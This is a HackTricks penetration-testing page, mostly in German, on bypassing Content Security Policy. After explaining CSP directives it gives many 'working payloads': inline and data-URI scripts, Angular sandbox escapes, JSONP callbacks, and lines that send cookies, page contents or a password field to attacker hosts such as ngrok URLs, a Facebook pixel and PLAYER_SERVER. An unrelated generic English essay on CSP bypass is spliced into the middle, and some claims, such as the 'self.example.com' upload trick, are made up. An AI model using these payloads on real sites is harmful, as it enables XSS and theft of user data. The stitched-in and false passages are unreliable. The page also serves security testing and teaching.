hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

# Content Security Policy (CSP) Bypass

<details>

<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen

</details>

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Treten Sie dem HackenProof-Discord-Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

**Treten Sie uns auf Discord bei** und arbeiten Sie noch heute mit Top-Hackern zusammen!

## Was ist CSP

Content Security Policy (CSP) wird als eine Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, sich gegen Angriffe wie Cross-Site Scripting (XSS) abzusichern. Sie funktioniert, indem sie Pfade und Quellen definiert und detailliert, aus denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Eine Richtlinie kann beispielsweise das Laden und Ausführen von Ressourcen von der gleichen Domäne (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von Zeichenfolgencode über Funktionen wie `eval`, `setTimeout` oder `setInterval`.

Die Implementierung von CSP erfolgt über **Antwortheader** oder durch die Integration von **Meta-Elementen in die HTML-Seite**. Browser setzen diese Bestimmungen proaktiv durch und blockieren sofort alle festgestellten Verstöße.

- Implementiert über Antwortheader:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implementiert über Meta-Tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Header

CSP kann mithilfe dieser Header durchgesetzt oder überwacht werden:

* `Content-Security-Policy`: Erzwingt die CSP; der Browser blockiert Verstöße.
* `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen.

### Ressourcen definieren

CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direktiven

* **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignishandler oder XSLT-Stylesheets ausgelöst werden.
* **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn bestimmte Abrufanweisungen fehlen.
* **child-src**: Gibt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte an.
* **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
* **frame-src**: Beschränkt URLs für Frames.
* **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten können, gilt für Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>` und `<applet>`.
* **img-src**: Definiert erlaubte Quellen für Bilder.
* **font-src**: Gibt gültige Quellen für über `@font-face` geladene Schriftarten an.
* **manifest-src**: Definiert erlaubte Quellen von Anwendungsmanifestdateien.
* **media-src**: Definiert erlaubte Quellen zum Laden von Medienobjekten.
* **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
* **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
* **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
* **plugin-types**: Beschränkt die MIME-Typen, die eine Seite aufrufen darf.
* **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
* **sandbox**: Wendet Einschränkungen an, die dem sandbox-Attribut eines `<iframe>` ähnlich sind.
* **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
* **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
* **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorausgeladen werden.
* **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open usw.)


### Quellen

* `*`: Erlaubt alle URLs außer solchen mit den Schemata `data:`, `blob:`, `filesystem:`.
* `'self'`: Erlaubt das Laden von der gleichen Domain.
* `'data'`: Erlaubt das Laden von Ressourcen über das data-Schema (z. B. Base64-codierte Bilder).
* `'none'`: Blockiert das Laden von jeder Quelle.
* `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
* `'unsafe-hashes'`: Ermöglicht bestimmte Inline-Ereignishandler.
* `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
* `'nonce'`: Eine Whitelist für bestimmte Inline-Skripte unter Verwendung einer kryptografischen Nonce (einmal verwendete Zahl).
* `'sha256-<hash>'`: Whitelistet Skripte mit einem bestimmten sha256-Hash.
* `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn es von einer Nonce oder einem Hash in die Whitelist aufgenommen wurde.
* `'host'`: Gibt einen bestimmten Host an, z. B. `example.com`.
* `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
* `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die über JavaScript erstellt wurden).
* `filesystem:`: Erlaubt das Laden von Ressourcen aus dem Dateisystem.
* `'report-sample'`: Enthält eine Beispiel des verletzenden Codes im Verstoßbericht (nützlich für die Fehlersuche).
* `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
* `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei Same-Origin-Anfragen, sendet jedoch nur den Ursprung, wenn die Anfrage Cross-Origin ist.
* `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umgeleitet werden. Nicht empfohlen, da dies die Sicherheit schwächt.


## Unsichere CSP-Regeln

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Arbeitsnutzlast: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' über Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}

### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Funktionsfähiges Payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Wenn Sie auf irgendeine Weise einen **erlaubten JS-Code erstellen, der ein neues Skript-Tag** im DOM mit Ihrem JS-Code erstellt, wird das **neue Skript-Tag erlaubt sein, ausgeführt zu werden**, da ein erlaubtes Skript es erstellt.

### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Funktionsfähiges Payload:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Fehlendes object-src und default-src

{% hint style="danger" %}
**Es scheint, dass dies nicht mehr funktioniert**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Funktionierende Payloads:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Datei-Upload + 'self'

Eine Möglichkeit, die Content Security Policy (CSP) zu umgehen, besteht darin, den 'self'-Quellenausdruck zu verwenden. Dieser Ausdruck erlaubt es nur, Ressourcen von der gleichen Domain zu laden, auf der die CSP angewendet wird. 

Um diese Bypass-Technik anzuwenden, müssen wir eine Schwachstelle im Datei-Upload-Mechanismus finden. Wenn wir eine Datei auf den Server hochladen können, können wir den 'self'-Ausdruck umgehen und auf Ressourcen von anderen Domains zugreifen. 

Um dies zu erreichen, können wir eine Datei mit einem speziellen Namen hochladen, der es uns ermöglicht, auf Ressourcen von anderen Domains zuzugreifen. Zum Beispiel könnten wir eine Datei mit dem Namen "self.example.com" hochladen. Dadurch wird die CSP umgangen und wir können auf Ressourcen von "example.com" zugreifen. 

Es ist wichtig zu beachten, dass diese Bypass-Technik nur funktioniert, wenn der Server die hochgeladenen Dateien nicht auf schädlichen Inhalt überprüft. Wenn der Server die Dateien vor dem Speichern überprüft, wird dieser Bypass nicht funktionieren.
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:

Funktionsfähige Nutzlast:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Jedoch ist es sehr wahrscheinlich, dass der Server die hochgeladene Datei **validiert** und nur das Hochladen bestimmter Dateitypen erlaubt.

Selbst wenn Sie jedoch einen **JS-Code** in einer Datei mit einer vom Server akzeptierten Erweiterung (wie z.B. _script.png_) hochladen könnten, würde dies nicht ausreichen, da einige Server wie der Apache-Server den **MIME-Typ der Datei basierend auf der Erweiterung** auswählen und Browser wie Chrome die Ausführung von JavaScript-Code in etwas, das ein Bild sein sollte, ablehnen. "Glücklicherweise" gibt es Fehler. Zum Beispiel habe ich aus einem CTF gelernt, dass der Apache-Server die Erweiterung **.wave** nicht kennt und sie daher nicht mit einem MIME-Typ wie audio/\* serviert.

Von hier aus können Sie, wenn Sie eine XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).

### Drittanbieter-Endpunkte + ('unsafe-eval')

{% hint style="warning" %}
Für einige der folgenden Payloads ist **`unsafe-eval` nicht einmal erforderlich**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS-Code aus:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

{% hint style="info" %}
Der Beitrag zeigt, dass Sie alle Bibliotheken von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repository) **laden** können, alle hinzugefügten Funktionen jeder Bibliothek ausführen können und überprüfen können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
#### Missbrauch des Google reCAPTCHA JS-Codes

Laut [**diesem CTF-Writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) kann man [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP missbrauchen, um beliebigen JS-Code auszuführen und die CSP zu umgehen:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Drittanbieter-Endpunkte + JSONP

JSONP (JSON with Padding) ist eine Technik, die verwendet werden kann, um die Content Security Policy (CSP) zu umgehen, wenn Drittanbieter-Endpunkte beteiligt sind.

Die CSP ist eine Sicherheitsrichtlinie, die es Website-Betreibern ermöglicht, festzulegen, welche Ressourcen von welchen Quellen geladen werden dürfen. Dies hilft, Cross-Site-Scripting (XSS) und andere Angriffe zu verhindern.

Bei der Verwendung von JSONP wird eine JavaScript-Funktion auf der Website aufgerufen, die als Parameter eine JSON-Struktur enthält. Diese Funktion wird dann von einem Drittanbieter-Endpunkt aufgerufen, der die JSON-Struktur als Argument übergibt. Da JSONP JavaScript-Code ist, der von der Website selbst ausgeführt wird, umgeht er die CSP-Richtlinien.

Um JSONP zu verwenden, muss die Website eine JavaScript-Funktion definieren, die die empfangene JSON-Struktur verarbeitet. Diese Funktion wird dann als Parameter in einer URL an den Drittanbieter-Endpunkt übergeben. Der Drittanbieter-Endpunkt ruft die Funktion auf und übergibt die JSON-Struktur als Argument.

Es ist wichtig zu beachten, dass JSONP Sicherheitsrisiken birgt, da es potenziell anfällig für XSS-Angriffe ist. Daher sollte JSONP nur mit vertrauenswürdigen Drittanbieter-Endpunkten verwendet werden und sorgfältig implementiert werden, um Sicherheitslücken zu vermeiden.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, bei dem `script-src` auf `self` und eine bestimmte Domain gesetzt ist, die auf der Whitelist steht, können mithilfe von JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Rückrufmethoden, die es einem Angreifer ermöglichen, XSS-Angriffe durchzuführen. Funktionierendes Payload:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält fertige JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**

Die gleiche Sicherheitslücke tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da Weiterleitungen als vertrauenswürdig angesehen werden.

### Missbrauch von Drittanbietern
Wie in dem [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, können viele Drittanbieter-Domains, die möglicherweise irgendwo in der CSP erlaubt sind, missbraucht werden, um Daten auszuleiten oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

| Entität | Erlaubte Domain | Fähigkeiten |
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | Ausleiten |
| Hotjar | *.hotjar.com, ask.hotjar.io | Ausleiten |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Ausführen |
| Amazon CloudFront | *.cloudfront.net | Ausleiten, Ausführen |
| Amazon AWS | *.amazonaws.com | Ausleiten, Ausführen |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Ausleiten, Ausführen |
| Salesforce Heroku	| *.herokuapp.com | Ausleiten, Ausführen |
| Google Firebase | *.firebaseapp.com | Ausleiten, Ausführen |

Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst ausleiten oder Code ausführen.

Zum Beispiel, wenn Sie die folgende CSP finden:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
# Content Security Policy (CSP) Bypass

Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. CSP allows web developers to specify which resources (such as scripts, stylesheets, and fonts) are allowed to be loaded and executed by a web page. However, there are certain techniques that can be used to bypass CSP and potentially exploit the application.

## Bypassing CSP using Inline Event Handlers

One common technique to bypass CSP is by using inline event handlers. CSP typically restricts the execution of inline JavaScript code, but it allows the use of event handlers such as `onclick` and `onmouseover`. By leveraging these event handlers, an attacker can execute arbitrary JavaScript code within the context of the web page.

To bypass CSP using inline event handlers, you can try the following steps:

1. Identify the target web page that has CSP implemented.
2. Look for elements on the page that have event handlers, such as buttons or links.
3. Modify the event handler to execute the desired JavaScript code. For example, you can change the `onclick` attribute of a button to execute a payload.
4. Test the modified event handler to ensure that the JavaScript code is executed successfully.

## Bypassing CSP using Data URIs

Another technique to bypass CSP is by using data URIs. Data URIs allow you to embed the content of external resources directly within the HTML or CSS code. By using data URIs, an attacker can bypass CSP restrictions and load external JavaScript code.

To bypass CSP using data URIs, you can follow these steps:

1. Identify the target web page that has CSP implemented.
2. Find a suitable location within the HTML or CSS code where you can embed the data URI.
3. Generate a data URI that contains the desired JavaScript code. You can use online tools or write a script to generate the data URI.
4. Replace the external resource (such as a script tag or stylesheet link) with the data URI.
5. Test the modified code to ensure that the JavaScript code is executed successfully.

## Bypassing CSP using Trusted Domains

CSP allows web developers to specify a list of trusted domains from which external resources can be loaded. By default, CSP restricts the loading of external resources from any domain other than the one hosting the web page. However, if the web application allows the loading of resources from a trusted domain, an attacker can bypass CSP by hosting malicious code on that trusted domain.

To bypass CSP using trusted domains, you can try the following steps:

1. Identify the target web page that has CSP implemented.
2. Look for external resources (such as scripts, stylesheets, or images) that are loaded from trusted domains.
3. Determine if the web application allows the loading of resources from a trusted domain that you control or have access to.
4. Host the malicious code on the trusted domain.
5. Replace the original external resource with the URL of the malicious code hosted on the trusted domain.
6. Test the modified code to ensure that the malicious code is executed successfully.

## Conclusion

Content Security Policy (CSP) is an important security mechanism that helps protect web applications against cross-site scripting (XSS) attacks. However, it is not foolproof, and there are techniques that can be used to bypass CSP. As a web developer or security professional, it is important to be aware of these bypass techniques and take appropriate measures to mitigate the risk.
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Du solltest in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall befolgst du diese allgemeinen Schritte:

1. Erstelle hier ein Facebook Developer-Konto.
1. Erstelle eine neue "Facebook Login"-App und wähle "Website".
1. Gehe zu "Einstellungen -> Grundlegend" und erhalte deine "App-ID".
1. Auf der Zielseite, von der du Daten exfiltrieren möchtest, kannst du Daten direkt über das Facebook SDK-Gadget "fbq" exfiltrieren, indem du ein "customEvent" und die Datenübertragung verwendest.
1. Gehe zu deiner App "Event Manager" und wähle die von dir erstellte Anwendung aus (beachte, dass der Event Manager in einer URL ähnlich wie diese zu finden sein könnte: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
1. Wähle den Tab "Test Events", um die von "deiner" Website gesendeten Ereignisse zu sehen.

Dann führst du auf der Opferseite den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren und auf die App-ID des Angreifers im Facebook Developer-Konto zu verweisen und ein benutzerdefiniertes Ereignis auszulösen, wie folgt:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
### Umgehung über RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

Zusätzlich zur zuvor erwähnten Umleitung zur Umgehung von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.

Wenn zum Beispiel CSP den Pfad `https://example.com/scripts/react/` erlaubt, kann er wie folgt umgangen werden:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Der Browser lädt letztendlich `https://example.com/scripts/angular/angular.js`.

Dies funktioniert, weil der Browser eine Datei namens `..%2fangular%2fangular.js` unter `https://example.com/scripts/react/` lädt, was mit CSP konform ist.

Der Browser wird es decodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.

Indem man diese Inkonsistenz in der Interpretation der URL zwischen dem Browser und dem Server ausnutzt, können die Pfadregeln umgangen werden.

Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.

Online-Beispiel: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Ausführung von Iframes-JavaScript

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### Fehlendes **base-uri**

Wenn die Direktive **base-uri** fehlt, kann man sie missbrauchen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.

Darüber hinaus, wenn die Seite ein Skript mit einem relativen Pfad lädt (wie `<script src="/js/app.js">`) und einen **Nonce** verwendet, kann man das **base** **tag** missbrauchen, um das Skript von **eigenem Server zu laden und XSS zu erreichen.**\
Wenn die verwundbare Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im base-Tag.
```html
<base href="https://www.attacker.com/">
```
### AngularJS Ereignisse

Eine spezifische Richtlinie namens Content Security Policy (CSP) kann JavaScript-Ereignisse einschränken. AngularJS bietet jedoch benutzerdefinierte Ereignisse als Alternative an. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` bereit, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann genutzt werden, um die CSP zu umgehen. Insbesondere in Chrome besitzt das `$event/event`-Objekt ein Attribut namens `path`, das ein Objektarray enthält, das in die Ausführungskette des Ereignisses verwickelt ist, wobei das `window`-Objekt immer am Ende steht. Diese Struktur ist entscheidend für Sandbox-Escape-Taktiken.

Indem dieses Array auf den `orderBy`-Filter gerichtet wird, ist es möglich, darüber zu iterieren und das Terminal-Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der nachfolgende Codeausschnitt veranschaulicht diesen Prozess:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Dieser Ausschnitt zeigt die Verwendung der `ng-focus` Direktive, um das Ereignis auszulösen, indem `$event.path|orderBy` verwendet wird, um das `path` Array zu manipulieren, und indem das `window` Objekt genutzt wird, um die `alert()` Funktion auszuführen und somit `document.cookie` offenzulegen.

**Weitere Angular-Bypasses finden Sie unter** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS und whitelistete Domäne
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung auf die Whitelist setzt, kann durch die Aufruf von Rückruffunktionen und bestimmte anfällige Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Leitfaden, der in diesem [Git-Repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) verfügbar ist.


Funktionierende Payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Andere JSONP-Ausführungspunkte können [hier](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben).

### Umgehung über Umleitung

Was passiert, wenn CSP auf eine serverseitige Umleitung trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, schlägt sie fehl.

Gemäß der Beschreibung in [CSP-Spezifikation 4.2.2.3. Pfade und Umleitungen](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch die ursprünglichen Einschränkungen umgehen, wenn sie zu einem anderen Pfad führt.

Hier ist ein Beispiel:
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Wenn CSP auf `https://www.google.com/a/b/c/d` festgelegt ist, werden sowohl Skripte `/test` als auch `/a/test` von CSP blockiert, da der Pfad berücksichtigt wird.

Jedoch wird die endgültige `http://localhost:5555/301` **auf der Serverseite zu `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt** und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.

Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, die Umgehung ermöglicht.

Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungs-Sicherheitslücken aufweist und dass keine Domains in den CSP-Regeln ausgenutzt werden können.

### Umgehung von CSP mit hängendem Markup

Lesen Sie [hier, wie es geht](../dangling-markup-html-scriptless-injection/).

### 'unsafe-inline'; img-src \*; über XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` bedeutet, dass du beliebigen Code innerhalb des Skripts ausführen kannst (XSS kann Code ausführen) und `img-src *` bedeutet, dass du auf der Webseite beliebige Bilder von beliebigen Quellen verwenden kannst.

Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall nutzt XSS einen CSRF aus, bei dem eine Seite, die vom Bot zugänglich ist, eine SQL-Injection enthält und die Flagge über ein Bild extrahiert):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

